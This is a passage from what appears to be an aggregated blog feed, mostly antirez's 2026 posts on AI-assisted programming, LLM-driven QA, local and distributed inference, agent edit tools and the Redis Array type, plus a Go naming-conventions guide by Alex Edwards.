I believe to be mostly pointless, partially once GPT 5.5 was released, but now with Fable and GPT 5.6 Sol even more. Yes: I identify things that I don’t like how they are coded, but if I open other Redis files written by other Redis contributors there is *far worse*, and not since they are not good coders, but because it is a matter of taste. I write very clean code since I want it to be readable, so during the implementation of Redis Arrays I operated changes. I’m doing it again for the 50% memory saving optimization of Redis sorted sets, a PR that I’ll submit soon. But I do not feel this is useful anymore. Nobody should anymore look at this code, but only at the ideas the code contains. I continued to do it out of respect for users. Redis is at this point a commonly useful thing, and many programmers will open files and modify stuff by hand. But if I had my hands free, you know what I would do, instead? Use all the time that the review is taking me to do more QA, to think at the next optimization idea and apply it, and to use LLMs to write a DESIGN.md file where each data structure is described in human language, with the ideas it contains, the implementation tricks, the design. That, in the future, is going to be much more useful. Do you want to modify sorted sets? You open the file, read the design, then you own the ideas. You can open your agent and ask it what to do with the right mental model. This is a lot more useful than reviewing the code. Fable and GPT 5.6 reviews to the sorted sets memory saving are going to spot ways more errors and subtle race conditions that my review is going to uncover. Yet I’ll do it. But for the majority of software projects, all this does not make sense anymore. Focus on controlling the ideas, instead. Focus on quality, testing, and having an idea of the software you want to ship. The world changed and it is painful, but also full of opportunities to improve a software world that was already completely rotten. I have a doubt only regarding young programmers that don't have enough experience, and can't build a mental model. We don't know, yet, if they will require or not to understand very well how a given piece of code works, but I believe they should learn how to write programs. Yet, I'm not sure checking the LLM output is the right thing they should do. It may be a lot more useful if they learn some programming language and implement a small interpreter, a small database, an hash table and so forth. Reviewing some Javascript stuff of some web site for a customer? Hell, no, don't lose time with that shit. Comments

• A new era for software testing
  Antirez · Jun 07, 2026

  Automatic programming dramatically speeds up writing software in certain use cases and in the right hands. In my experience the output does not reach the structural quality and economy of complexity of the best hand-written software. However, not all the software is stellar, and my feeling is that automatic programming surpasses most of the times (and if well managed) the quality of decently developed hand-written code. Yet, there is a tradeoff between quality and time, in the case of writing new software with AI. This tradeoff in certain projects I developed can be brutal, that is, completing projects that may take many months in a few weeks. However, there are domains where LLMs simply open new strictly more powerful ways to automate processes, without any compromise on quality. One of those domains is software QA and testing. Traditionally software is tested using test suites that are composed of locally-scoped tests and integration tests (think of Redis: one thing is testing if SET foo 10 will be matched by GET foo => 10, another thing is testing if replication works in this case). And then by QA passes that are usually manually executed, and that can capture holes in the runnable test suite. It is a known fact that covering all the lines of the code does not mean covering all the possible states. Moreover integration testing is structurally hard: there are a number of timing issues, setups, and certain quality outputs that can only be visually inspected and not automatically checked that leave a lot of testing opportunities not really exploited because of time or logistic constraints. LLMs offer a new way to do QA on top of the existing testing methodologies. The idea is to create a markdown file where an AI agent is asked to work as a QA engineer, performing a number of manual testings on the new release. For instance, in the case of DwarfStar (an inference engine for open weights LLMs) I use the following approach. In the markdown file, the agent is asked to check what are the new commits on top of the already released version of the software project. Then the model is told a list of things that should be performed, like: - Check that distributed inference works across MacBook A and MacBook B, making sure the output is coherent, the inference works with all the GGUF files we have in both the machines, ... - Make sure this release does not contain any speed regression. And so forth. Notably, in the speed regression part, I don't have to tell the agent what was the previous expected speed, as this is a moving target that changes with new releases and new optimizations. Similarly the integration test for distributed inference does not require many instructions, at the start of the file there are just SSH endpoints and the key to use, the paths, and so forth. The agent is asked to check the long list of QA activities *especially* in light of the added commits, starting with an inspection of the changes and with the identification of what could be affected, so that the QA pass specializes trying to find specific regressions. In the case of Redis Arrays, I used a similar methodology asking the agent to build a large array-based Redis application, to setup a production environment with replication and persistency, to simulate the usage of the application for days and with many users, checking if something was odd. Testing that uses these approaches may also move in the more psychological side of software quality, asking the agent to identify all the new features that may look surprising, not documented enough, or generally sloppy from the POV of the user. All things that needed to be executed manually before, and that most of the times were mostly skipped. I have the feeling that the introduction of automatic QA may raise the bar of quality for new releases of software, and maybe partially compensate for the lower quality of the code produced at high speed with the use of automatic programming. Comments

• Distributing LLM inference in DwarfStar
  Antirez · May 25, 2026

  High end NVIDIA cards, and the server and power needed to run them, cost a lot of money, especially if you plan to reach enough VRAM to run massive models. The alternative, so far, has been Apple hardware, or the DGX Spark that, even if severely limited because of memory bandwidth, still allows to run LLMs prompt processing (prefill) fast enough. The Mac Studio provided up to 512GB unified memory, a solution with modest memory bandwidth (but much better than the Spark) and compute at a price that was, after all, given the current situation, relatively fair. For instance, with DwarfStar the Mac Studio M3 Ultra 512GB can run DeepSeek v4 PRO at 150 t/s prefill and ~10-13 t/s decoding, not great but at a level that is usable for certain use cases. Even 2-bit quantized, DeepSeek v4 PRO resists very well, like Flash at the same quantization (today I made PRO write a C compiler, I'll publish the video soon). I would not consider a trivial fact to run a frontier model at home, with a ~12k total spending. One could expect this to get better and better, but the situation at the horizon appears cloudy. There is almost zero hope that NVIDIA setups will get less expensive, and even a small company can’t afford to easily purchase and handle a small data center for local inference. At the same time the RAM shortage is making it not exactly likely that we will see a Mac Studio with an M5 Ultra, maybe 1.2T/s memory bandwidth and more compute (the M5 Max is already faster, compute wise, and has the Neural Accelerators inside each GPU core that help with certain models). So the current situation for local inference is that the best machine is probably a laptop. The M5 Max 128GB can run DeepSeek v4 Flash and Mimo V2.5, 2-bit quantized, at very decent prefill and decoding speeds. We are talking of ~500 t/s prefill and ~35-40t/s decoding speed, with a performance slope as the context size increases which is very acceptable. At the cost of 6-7k depending on the configuration, this is currently one of the best deals. If this is the situation, for local inference projects in general, and for DwarfStart in particular, looking at distributed inference starts to be interesting. What we can do if we have two, three, four MacBook M5 Max systems? Or two M3 Ultra with 512 GB of RAM? Traditionally there are two main systems to run distributed inference. One is to duplicate memory by loading 50% of the transformer layers in computer A, the remaining 50% on computer B, and running the inference in a sequential way. In this case there is to send just the activations around, that’s very simple conceptually, and with some micro-batching magic it is possible to not just duplicate the memory but even in theory to increase substantially the prompt processing speed (but not the decoding: for a single token generation you have to wait the first layers on machine A, the remaining layers on machine B, and so forth — but at least less heat will be produced so it is possible to use a sustained load), which is not bad at all. This means, for example, that the lucky ones that have two Mac Studio 512GB machines could run full size DeepSeek v4 PRO (even if even the 2-bit quants are running very, very well) and with micro-batching even enjoy a faster prefill. Another approach is, using Apple RDMA, to parallelize the execution across the two machines, a vertical split basically. For instance one could try to load the same 2 bit quants on machine A and B, so that both fit, and each side has *all* the routed experts. Then for each layer we could try to do the coordination needed in order to execute half the experts in machine A, half in machine B, and so forth (note that both machines have all the experts, so whatever the router says, we can send 50% of the computation to the other machine, and the activations are tiny). This is more viable for the PRO that has much larger routed experts, so the communication penalty is less sensible. But if this could be made to work well, is all to be seen. There is also tensor parallelism, you are thinking, right? But I bet this is not viable at all with the communication speed we have among two Apple computers, two DGX Spark and so forth (go read the speed of NVLink). The magic about the above two models is that you have to send very little data. Ok, so far I bet you are thinking, this is the same shit everybody knows about running LLMs in a parallel fashion, and indeed this is true. But this post was conceived to reach this exact point. What about if we could, instead, parallelize two Mac or DGX in a completely different way? Open weights models are now in a golden age, we have plenty and many are very powerful. In the 128GB 2-bit quants classes there are many interesting: Minimax M2.7, Mimo V2.5, DeepSeek v4 Flash, and a few more. At the same time it was recently noted that LLMs ensemble (https://arxiv.org/abs/2502.18036) is an understudied possibility that allows two models to run in a completely shared-nothing way in two different machines, to only combine the logits or select the best continuation at the end. There are different ways to do that, and it works even if the two models have different vocabularies: you can pick the continuation where the perplexity is lower (that is, pick the model which is more sure: it’s like a two experts MoE where the routing is implicit), and it is even possible to combine the logits (with some complexities given by the different vocabularies) and sample from there. More recent papers suggest that mixing the two techniques is the best approach. Anyway: these techniques seem to really work, models appear to do better than alone. It’s like if their knowledge is improved because each one brings his POV on what to say next. Maybe this is one of the most logical third approach to try, other than the first two. I really hope to find the time to play more with all that, in the next months. Comments

• Alternatives for the EDIT tool of LLM agents
  Antirez · May 19, 2026

  EDIT: of course this was already done in the past! I had little doubts but people just confirmed me about it on Twitter :) But, keep reading: the CRC32 compromise at the end is an interesting tradeoff, and this is a good discussion to have in general. Right now I'm working to an agent for my DS4 project. Local inference is token-poor, it's a battlefield where optimizations count. I was quite surprised by the fact the EDIT tool everybody is using right now forces the LLM to emit the old version of the text verbatim. This CAS (check and set) mode of operation, where I say EDIT old="foo" new="bar", is needed because there are often colliding edits (the user is editing as well, or checked out a different branch, and so forth) and because the LLM can just hallucinate that a given line had a given content. This means, basically, that just using line numbers is very fragile: to say, change line 22 with new="foobar" is not good. Yet I don't want my local LLM to throw away tokens rewriting the old text each time, also because certain times the old text has a lot of special chars and spaces that the model may get wrong; in this case the tool would fail, forcing the LLM to do the same edit again. So I (re)designed a tag-based EDIT tool that is still CAS style, but more tokens efficient. The READ and SEARCH tools return something like that: 10:Q8fA int count = 10; 11:rA3_ if (count > limit) { 12:Kq9z count = limit; 13:PX0b } So there are line numbers and tags. The tag is 4 chars, on average 2.5 LLM tokens, representing a checksum of the line. Now the LLM can edit like this: { "tool": "edit", "path": "/tmp/example.c", "line": 10, "tag": "Q8fA", "new": "int count = 11;" } Or, multi line, like this: { "tool": "edit", "path": "/tmp/example.c", "lines": "11:rA3_\n12:Kq9z\n13:PX0b", "new": "if (count > limit)\n return limit;" } The saving is significant especially when the agent is deleting big amounts of text, but also in the general case. However, there is some overhead due to the fact we have line numbers and tags. There are potential tradeoffs, maybe the tag should be 8 chars and include the line number in the hash, there is to check exactly collisions possibilities and tokenization to see how much this is a win, but I like the line:tag format as later the LLM is often able to exploit the line information in many ways, like to get ranges in successive tool calls. Maybe there are other ways to exploit the tag, too, like: is this line still dj4_? The interesting thing is that DeepSeek v4 Flash is able to use this tool in a very effective way, so apparently it is natural for it. And while I did't measure the exact savings I saw in the field that edits are much faster and even more reliable. The alternative to this is to return just the whole file CRC32 each time (basically the tag becomes a file tag, even for partial reads). So that we can only work with line numbers + CRC, the edit would just specify 11,12,13,14. Less tokens, of course. This forces, however, to recompute the CRC32 of the file each time, but for reasonably sized files this is cheap enough. But this approach has limits: we fail the edit even if *unrelated* changes happened, so there is a strong tradeoff at play. To be fair to the whole file method, there is to say that it allows to specify ranges as 10:23, which is a huge win. I have the feeling I can decide which is better only with enough practical evidence, by using ds4-agent over multiple sessions with the two systems. For now maybe a command line to switch the edit mode is the first right step to do. Comments

• A few words on DS4
  Antirez · May 15, 2026

  I didn’t expect DwarfStar 4 (https://github.com/antirez/ds4) to become so popular so fast. It is clear that there was a need for single-model integration focused local AI experience, and that a few things happened together: the release of a quasi-frontier model that is large and fast enough to change the game of local inference, and the fact that it works extremely well with an extremely asymmetric quants recipe of 2/8 bit, so that 96 or 128GB of RAM are enough to run it. And, of course: all the experience produced by the local AI movement in the latest years, that can be leveraged more promptly because of GPT 5.5 (otherwise you can’t build DS4 in one week — and even with all this help you need to know how to gently talk to LLMs). The last week was funny and also tiring, I worked 14 hours per day on average. My normal average is 4/6 since early Redis times, but the first few months of Redis were like that. So, what’s next? Is this a project that starts and ends with DeepSeek v4 Flash? Nope, the model can change over time. The space will be occupied, in my vision, by the best current open weights model that is *practically fast* on a high end Mac or “GPU in a box” gear (like the DGX Spark and other similar setups). I bet that the next contender is DeepSeek v4 Flash itself, in the new checkpoint that will be released and, hopefully, a version specifically tuned for coding, and who knows, other expert-variants (not in the sense of MoE experts) maybe. For local inference, to have a ds4-coding, ds4-legal, ds4-medical models make a lot of sense, after all. You just load what you need depending on the question. It is the first time since I play with local inference (I play with it since the start) that I find myself using a local model for serious stuff that I would normally ask to Claude / GPT. This, I think, is really a big thing. It is also the first time that using vector steering I can enjoy an experience where the LLM can be used with more freedom. DeepSeek v4 Flash is really an impressive model, no doubt about that. If you can imagine in your mind the small good local model experience as A, and the frontier model you use online as B, DS4 is a lot more B than A. I can’t wait for the new releases, honestly (btw, thank you DeepSeek). So, after those chaotic first days, I hope the project will focus on: quality benchmarks, potentially adding a coding agent that is also part of the project, a hardware setup here in my home that can run the CI test in order to ensure long term quality, more ports, and finally but as a very important point: distributed inference (both serial and parallel). For now, thank you for all the support: it was really appreciated :) AI is too critical to be just a provided service. Comments

• Redis array type: short story of a long development
  Antirez · May 04, 2026

  I started working on the new Array data type for Redis in the first days of January. The PR landed the repository only now, so this code was cooked for four months. I worked at the implementation kinda part time (kinda because many weeks were actually full time, sometimes to detach yourself from the keyboard is complicated), and even before LLMs the implementation was likely something I could do in four months. What changed is that in the same time span, I was able to do a lot more. This is the short story of what happened. In the first month I just wrote the specification document. The rationale for the new data type, the C structures, the sparse representation used, the exact semantics of the array cursor for ring buffer and ARINSERT. I started writing for days a long specification by hand, then I paired with Opus initially, then GPT 5.3 was released and I switched all the design and development with Codex. Since then I use only GPT 5.x for system programming tasks. Thanks to AI, the specification evolved a lot, via back and forth of feedback, intellectual challenges about what was the best design, what was the right compromise, what was too engineered and what not. Starting from the second month, I started the implementation using automatic programming (auto coding if you prefer), constantly reviewing the developed code. Then I realized that the level of indirection I picked was wrong. I really wanted people to be able to do ARSET myarray 293842948324 foo and everything to still work without huge allocations. The two levels of directory + slices (sparse and dense) I had were not enough. Because I had AI, I took no compromises, and I decided to go the extra mile. Once certain conditions are reached, the data structure internally changes shape, and becomes a super directory of sliced dense directories, that also point to the actual array slices (4096 elements per slice, by default). This design provided still the internal "is actually an array" representation I wanted, and the memory characteristics I seeked, while being able, for ARSCAN, and ARPOP, to scan the existing arrays taking a time proportional to the existing elements and not to the range span. Then, it was time to read all the code, line by line. Everything was working, and this type has massive testing, thanks, again to AI, but still things that superficially work do not mean they are optimal. I found many small inefficiencies or design errors that I didn't want, so I started a process of manual and AI-assisted rewrite of many modules. When this stage was done, I started, during the third month, to stress test the implementation in many different ways. I started to be confident that it was really solid, useful, well designed. Then… it happened. While modeling different use cases to see if the data structure was comfortable to use, I started to put markdown files into Redis arrays. Because files are a very good match for it. At this point, as I was working for other goals with agents, I realized that I could have the skills markdown files centralized knowledge base that I needed, so from a need of mine I decided to implement ARGREP. But I wanted regular expressions, too. What library to pick? I ended up picking TRE (thanks Ville Laurikari!), because when you have regexp in Redis, you want to be sure that there are no pathological patterns in time or space. But TRE was very inefficient in a specific and extremely useful case, that is matching foo|bar|zap. So with the help of GPT I optimized it, fixed a few potential security issues, and extended the test. I had everything in place. You know what was the biggest realization of all that? For high quality system programming tasks you have to still be fully involved, but I ventured to a level of complexity that I would have otherwise skipped. AI provided the safety net for two things: certain massive tasks that are very tiring (like the 32 bit support that was added and tested later), and at the same time the virtual work force required to make sure there are no obvious bugs in complicated algorithms. To write the initial huge specification was the key to the successive work, as it was the key to review each single line of sparsearray.c and t_array.c and modifying everything was not a good fit. I didn't spend any word on the use cases as I tried to document the PR itself with a message where they are detailed: https://github.com/redis/redis/pull/15162 So it was not really useful to repeat myself here. Enough to say that I really believe it is about time for Redis to have a data type where the numerical index is part of the semantics. I hope the Array PR will be accepted soon, and that we can benefit from the new use cases it opens. Of course, feedback is welcomed. Thank you. Comments

• AI cybersecurity is not proof of work
  Antirez · Apr 16, 2026

  The proof of work is the wrong analogy: finding hash collisions, while exponentially harder with N, is guaranteed to find, with enough work, some S so that H(S) satisfies N, so an asymmetry of resources used will see the side with more "work ability" eventually winning. But bugs are different: 1. Different LLMs executions take different branches, but eventually the possible branches based on the code possible states are saturated. 2. If we imagine sampling the model for a bug in a given code M times, with M large, eventually the cap becomes not "M" (because of saturated state of the code AND the LLM sampler meaningful paths), but "I", the model intelligence level. The OpenBSD SACK bug easily shows that: you can run an inferior model for an infinite number of tokens, and it will never realize(*) that the lack of validation of the start window, if put together with the integer overflow, then put together with the fact the branch where the node should never be NULL is entered regardless, will produce the bug. So, cyber security of tomorrow will not be like proof of work in the sense of "more GPU wins"; instead, better models, and faster access to such models, will win. * Don't trust who says that weak models can find the OpenBSD SACK bug. I tried it myself. What happens is that weak models hallucinate (sometimes causally hitting a real problem) that there is a lack of validation of the start of the window (which is in theory harmless because of the start BTW, this is why with this bug, the stronger the model you pick (but not enough to discover the true bug), the less likely it is it will claim there is a bug. Stronger models hallucinate less, so they can't see the problem in any side of the spectrum: the hallucination side of small models, and the real understanding side of Mythos. Comments

• Go Naming Conventions: A Practical Guide
  Alex Edwards · Mar 24, 2026

  Choosing the right names in your codebase is an important (and sometimes difficult!) part of programming in Go. It's a small thing that makes a big difference — good names make your code clearer, more predictable, and easier to navigate; bad names do the opposite. Go has fairly strong conventions — and a few hard rules — for naming things. In this post we're going to explain these rules and conventions, provide some practical tips, and demonstrate some examples of good and bad names in Go. If you're new to the language, all this information might feel like a lot to take in, but it'll quickly become second nature with a bit of practice 😊 Identifiers Let's start with the hard rules for identifiers. By identifiers, I mean the names that you use for the variables, constants, types, functions, parameters, struct fields, methods and receivers in your code. Identifiers can contain unicode letters, digits, and underscores only. Identifiers cannot begin with a digit. You cannot use any of the following Go keywords as identifiers: break default func interface select case defer go map struct chan else goto package switch const fallthrough if range type continue for import return var So long as you stick to those three rules, any identifier name is technically valid and your code will compile all OK. But there are a bunch of other guidelines that it's good practice to follow: You should use camelCase for unexported identifiers, or PascalCase for exported identifiers. Don't use alternative casing variants like snake_case, Pascal_Snake_Case, SCREAMING_SNAKE_CASE or ALLUPPERCASE. Words that are acronyms or initialisms (like API, URL or HTTP) should use a consistent case within the identifier. So, for example, apiKey or APIKey is good, but ApiKey is not. This rule also applies to ID when it is used as shorthand for the words "identity" or "identifier" — so that means write userID rather than userId. Although all unicode letters are allowed, using non-ASCII letters can often make your code harder to read and more awkward to write, and it's rare to see them used. Unless you have a really appropriate use-case, you should stick to using ASCII letters in identifiers. For example, use pi instead of π, use beta instead of β, use naiveBayes instead of naïveBayes. To prevent confusion for readers and potential bugs, avoid choosing identifiers that clash with Go's builtin types. So, for example, don't create variables with names like int, bool or any. Similarly, avoid creating functions with names that clash with Go's builtin functions. So, for example, don't create functions with names like min, max, len or clear. Generally, avoid including the type in identifiers — for example, don't use names like fullNameString, scoreInt or float64Amount. The main exception to this is when you have to convert a variable to a different type, and you want to distinguish between the original variable and the one containing the converted value. In this situation, including the type in the identifier is a common and acceptable way to distinguish between the two. For example, code like this is OK: userID := 42 userIDStr := strconv.Itoa(userID) Where possible, try to avoid choosing identifiers that clash with the standard library package names. This is a 'softer' convention than the others because the standard library steals a lot of good identifier names — such as json, js, mail, user, csv, path, filepath, log, regexp, time and url — and sometimes it can be hard to come up with decent alternatives. However, you definitely should avoid creating identifiers that clash with the package names that your code is actually importing and using. So, for example, if you are writing code that imports the url and net/mail packages, then don't use the words url and mail as identifiers in that code. Here are a few examples of good and bad identifier names: Bad Reason Better order.total := 99.99func load-user() Punctuation not allowed orderTotal := 99.99func loadUser() const 3rdParty = "x"func 2FactorAuth() Cannot start with a digit const thirdParty = "x"func twoFactorAuth() max_value := 10func Fetch_user() Non-standard casing maxValue := 10func FetchUser() type HttpClient struct{}func parseXml() Inconsistent acronym casing type HTTPClient struct{}func parseXML() func GetSessionId()type OrderId string ID should be all caps func GetSessionID()type OrderID string résuméCount := 2const Σ = 100 Non-ASCII letters resumeCount := 2const sum = 100 func clear()int := cache.Internal() Clashes with builtin types or functions func clearQueue()data := cache.Internal() intCount := 42resultSlice := []int{} Type included in name count := 42results := []int{} type json struct{}var log = newLogger() Clashes with stdlib package names type payload struct{}var logger = newLogger() Exported and unexported identifiers Identifiers in Go are case-sensitive. For example, the identifiers apiKey, apikey and APIKey are all different. As you probably already know, when an identifier starts with a capital letter it is exported — that is, it's visible to code outside of the package it's declared in. This means that the casing of the first letter is significant. It impacts the behavior of your codebase. In turn, this means that you shouldn't start identifiers with a capital letter just because they look nice — you should only start them with a capital letter if you want them to be exported and accessible to code outside the package they are declared in. As a tip, try to write packages using unexported identifiers by default. Only export them when you actually have a need to. Typically, the less you export, the easier it is to refactor code within a package without affecting other parts of your codebase. There's a nice quote from The Pragmatic Programmer, which I'll adapt slightly for the Go nomenclature: Write shy code - packages that don't reveal anything unnecessary to other packages and don't rely on other packages' implementations. As a second tip, it's very rare for a main package to be imported by anything, so the identifiers in it should normally all be unexported and start with a lowercase letter. The most frequent exception to this is when you need to export a struct field so that it's visible to packages that use reflection to work, like encoding/json, encoding/gob or github.com/jmoiron/sqlx. Identifier length and descriptiveness In general, the further away that an identifier is used from where it is declared, the more descriptive the name should be. If you have an identifier which is narrow in scope and only used close to where it is declared, it's generally OK to use a short and not-very-descriptive name. For example, if you're naming something that is only used in a small for loop, range block, or very short function, then using short or even single letter names is very common in Go. But it you're naming something that has a larger scope, or is used far away from where it is declared, you should use a name that clearly describes what the thing represents. Here is a nice example that Dave Cheney gave as part of his Practical Go presentation: type Person struct { Name string Age int } func AverageAge(people []Person) int { if len(people) == 0 { return 0 } var count, sum int for _, p := range people { sum += p.Age count += 1 } return sum / count } In this code, within the short range block we use the identifier p to represent a value in the people slice — the range block is so small and tight that using a single letter name is clear enough. In contrast, the count and sum variables are declared, then used inside the range, then again in the return statement. Giving them more descriptive names makes it immediately clearer what the code is doing and what they represent, compared to single letter names like c and s. But these variables are only ever used inside the AverageAge function, so giving them even-more-descriptive names like peopleCount and agesSum would be unnecessarily verbose. It's not an exact science, but when writing Go code you are encouraged to use the right length identifier — sometimes that might be long and descriptive, sometimes it might be short and terse. Naming packages The hard rules for package names are the same as for identifiers: they can contain unicode letters, numbers and underscores, must not begin with a number, and must not be a Go keyword. But in practice, the conventions for naming a package are much tighter. Conventionally: Package names should contain lower case ASCII letters and numbers only. Because package names will need to be typed out a lot when writing code, the name should ideally be short, easy to type, and reflect the contents of the package. Often simple one-word nouns (like orders, customer and slug) work well. If you want to use more than one word in the package name, you should concatenate the words all in lowercase with no separator. So, for example, ordermanager is a good package name — orderManager or order_manager are not. If a package name feels too long, it can be OK to use abbreviations in the name. You can see this in some of the standard library package names, like expvar (instead of exportedvariables) and strconv (instead of stringconversion). To prevent conflicts and confusion, try to avoid using the same name as commonly-used standard library packages. Package names with the prefix . or _ are 'invisible' to Go and completely ignored when you run go build, go run, go test etc. So don't start your package name with these characters, unless you specifically want them to be ignored. Directories with the names vendor, testdata and internal have a special meaning in Go, so to avoid any confusion or bugs, don't use these words as package names. Avoid using 'catch all' package names like common, util, helpers, types or interfaces, which don't really give any clue to what the package contains. For example, does a package called helpers contain validation helpers, formatting helpers, SQL helpers? A mix of all the above? You can't guess from just the name alone. As well as not being clear, these kind of 'catch all' names provide little natural boundary or scope, which can lead to the package becoming a dumping ground for lots of different things. In turn the package may become imported and used throughout your codebase — which increases the risk of import cycles and means that changes to the package potentially affect the whole codebase, rather than just a specific part of it. In other words, catch all package names encourage creating packages which have a large 'blast radius'. If you find yourself wanting to create a utils or helpers package, ask yourself if you can break up the contents into smaller packages with a specific focus and clearer names instead. Bad Reason Better package 3rdpartypackage 2fa Cannot start with a digit package thirdpartypackage twofa package OrderManagerpackage order_manager Non-standard casing / separators package ordermanager package opackage stuff Too vague and not descriptive package orderspackage slug package ordermanagementsystem Too long / hard to type package orderspackage ordermgr package urlpackage mail Clashes with stdlib package names package linkspackage mailer package _cachepackage .hidden Ignored by Go tooling package cachepackage hidden package internalpackage vendorpackage testdata Special directory names in Go package internalauthpackage supplier package utilspackage helpers Catch-all names with unclear scope package validationpackage formatting Naming files In an ideal world, a .go filename should summarize what the file contains, be one word long, and all in lowercase. Some examples of good filenames from the standard library net/http package are cookie.go, server.go and status.go. If you can't think of a good one-word name, and want to use two or more words, there is no clear convention for how those words should be separated. Even in the Go standard library itself there isn't consistency. Sometimes underscores are used to separate the words in filenames (like routing_index.go and routing_tree.go), and other times they are concatenated with nothing between them (like batchcursor.go, textreader.go and reverseproxy.go). Because there isn't a strong convention around this, I recommend just picking one of these two approaches and sticking to it consistently within a codebase. Personally, I think it's better to concatenate words with nothing between them (like routingindex.go), and reserve the underscore character for only when you want to use a special filename suffix. Talking of which, there are some filename prefixes and suffixes that have a special meaning in Go. You should avoid using these in your filenames unless you want to trigger the special behavior. Specifically: Like packages, filenames with the prefix . or _ are 'invisible' to the Go tooling and completely ignored when you run go build, go run, go test etc. Files with the suffix _test.go are only run by the go test tool. They are ignored when using go run or go build. Files with any of the following suffixes will only be included when compiling for that specific operating system: _aix.go, _android.go, _darwin.go, _dragonfly.go, _freebsd.go, _illumos.go, _ios.go, _js.go, _linux.go, _netbsd.go, _openbsd.go, _plan9.go, _solaris.go, _wasip1.go, _windows.go. Similarly, files with any of the following suffixes will only be included when compiling for that specific architecture: _386.go, _amd64.go, _arm.go, _arm64.go, _loong64.go, _mips.go, _mips64.go, _mips64le.go, _mipsle.go, _ppc64.go, _ppc64le.go, _riscv64.go, _s390x.go, _wasm.go. Avoiding chatter When you are naming exported functions, try to avoid repeating the name of the package they are declared in. For example, if you have a package called customer, then function names like NewCustomer() or CustomerOrders() would be 'chattery' and unnecessarily repeat the word 'customer' when you call them from outside the package — like customer.NewCustomer() and customer.CustomerOrders(). Calling the functions New() and Orders() is sufficient and reads better at the call site — like customer.New() and customer.Orders(). The same advice also applies to exported types. For example, if you want to represent an address or phone number in a customer package, it's sufficient and less chattery to name the types Address and PhoneNumber rather than CustomerAddress and CustomerPhoneNumber. Bad Reason Better customer.NewCustomer()customer.CustomerOrders() Chattery function call customer.New()customer.Orders() customer.CustomerAddresscustomer.CustomerPhoneNumber Chattery type reference customer.Addresscustomer.PhoneNumber Note: It's common to want to declare an exported type that shares the same name as the package. For example, a customer package might export a Customer type that represents an individual customer. We would then reference this type in other packages by writing customers.Customer. This is obviously chattery, but it's hard to avoid this repetition without giving either the package or type a name that makes it less clear. So in practice, this is something that you'll see a lot. For example, in the standard library the time package has a Time type, which you reference by typing time.Time, the context package contains a Context type which you reference by typing context.Context, and the regexp package contains a Regexp type which you reference by typing regexp.Regexp. Similar to function and type names, method names should ideally not 'chatter' too much when calling them. For example, if you are writing methods on a Token type, for example, it's probably OK to call a method Validate() rather than ValidateToken(), or IsExpired() rather than IsTokenExpired(). Method receivers When you are creating methods, it is conventional for the method receiver to have a short name, normally between 1 and 3 characters long and often an abbreviation of the type that the method is implemented on. For example, if you are implementing a method on a Customer type, an idiomatic receiver name would be something like c or cus. Or if you were implementing a method on a HighScore type, a good receiver name would be hs. The Go code review comments advise against using generic names like this, self or me for the receiver. Also, you should be consistent with the receiver name. All methods on the same type should use the same receiver name — don't use c for one method and cus for another. type Order struct { Items int } // Good: uses a short receiver func (o *Order) Validate() bool { return o.Items > 0 } // Bad: uses a longer receiver name func (order *Order) Validate() bool { return order.Items > 0 } // Bad: uses a generic receiver name func (self *Order) Validate() bool { return self.Items > 0 } Getter and setter methods on structs Typically, it is not necessary to create 'getter' and 'setter' methods on struct types in Go. Instead, you just access the struct field directly to read or change the data. The major exception to this is when you have a struct with an unexported field, but want to provide a way to get or set the field value from outside the package. To do this, you need to create exported 'getter' and 'setter' methods that read and write to the unexported field. When doing this, it is conventional to prefix the setter method name with Set, but not prefix the getter method name with Get. Like so: type Customer struct { address string } func (c *Customer) Address() string { return c.address } func (c *Customer) SetAddress(addr string) { c.address = addr } Interfaces By convention, interfaces that only contain one method should be named by the method name plus an '-er' suffix or similar. For example: type Speaker interface { Speak() string } type Authorizer interface { Authorize(ctx context.Context, action string) error } type Authenticator interface { Authenticate(ctx context.Context) (User, error) } The Go standard library has quite a few examples of interfaces that follow this convention, such as io.Reader, io.Writer and fmt.Stringer. Also note that the guidance to avoid including the type in the name still applies to interfaces. Don't give your interfaces names like UserInterface or OrderInterface unless you really can't think of a decent alternative. Breaking from conventions There are rare occasions when breaking a convention can actually make your code clearer — and in my view, it can be OK to do that... especially if it's in a private codebase worked on by a small team. For example, a couple of years ago I was working on a Go program that synchronizes data between some other external systems. In this project, I ended up breaking some of the Go naming conventions around casing and separators — instead using exactly the same identifiers that the external systems used. This actually made the intent of the program clearer, and more immediately obvious what was being synchronized with what. But the vast majority of the time, you should endeavour to follow the naming rules and conventions we've discussed in this post. They exist for good reasons: they make your code more predictable and consistent, easier for other Gophers to quickly understand, and reduce the risk of certain bugs.

• GNU and the AI reimplementations
  Antirez · Mar 08, 2026

  Those who cannot remember the past are condemned to repeat it. A sentence that I never really liked, and what is happening with AI, about software projects reimplementations, shows all the limits of such an idea. Many people are protesting the fairness of rewriting existing projects using AI. But, a good portion of such people, during the 90s, were already in the field: they followed the final part (started in the ‘80s) of the deeds of Richard Stallman, when he and his followers were reimplementing the UNIX userspace for the GNU project. The same people that now are against AI rewrites, back then, cheered for the GNU project actions (rightly, from my point of view – I cheered too). Stallman is not just a programming genius, he is also the kind of person that has a broad vision across disciplines, and among other things he was well versed in the copyright nuances. He asked the other programmers to reimplement the UNIX userspace in a specific way. A way that would make each tool unique, recognizable, compared to the original copy. Either faster, or more feature rich, or scriptable; qualities that would serve two different goals: to make GNU Hurd better and, at the same time, to provide a protective layer against litigations. If somebody would claim that the GNU implementations were not limited to copying ideas and behaviours (which is legal), but “protected expressions” (that is, the source code verbatim), the added features and the deliberate push towards certain design directions would provide a counter argument that judges could understand. He also asked to always reimplement the behavior itself, avoiding watching the actual implementation, using specifications and the real world mechanic of the tool, as tested manually by executing it. Still, it is fair to guess that many of the people working at the GNU project likely were exposed or had access to the UNIX source code. When Linus reimplemented UNIX, writing the Linux kernel, the situation was somewhat more complicated, with an additional layer of indirection. He was exposed to UNIX just as a user, but, apparently, had no access to the source code of UNIX. On the other hand, he was massively exposed to the Minix source code (an implementation of UNIX, but using a microkernel), and to the book describing such implementation as well. But, in turn, when Tanenbaum wrote Minix, he did so after being massively exposed to the UNIX source code. So, SCO (during the IBM litigation) had a hard time trying to claim that Linux contained any protected expressions. Yet, when Linus used Minix as an inspiration, not only was he very familiar with something (Minix) implemented with knowledge of the UNIX code, but (more interestingly) the license of Minix was restrictive, it became open source only in 2000. Still, even in such a setup, Tanenbaum protested about the architecture (in the famous exchange), not about copyright infringement. So, we could reasonably assume Tanenbaum considered rewrites fair, even if Linus was exposed to Minix (and having himself followed a similar process when writing Minix). # What the copyright law really says To put all this in the right context, let’s zoom in on the copyright's actual perimeters: 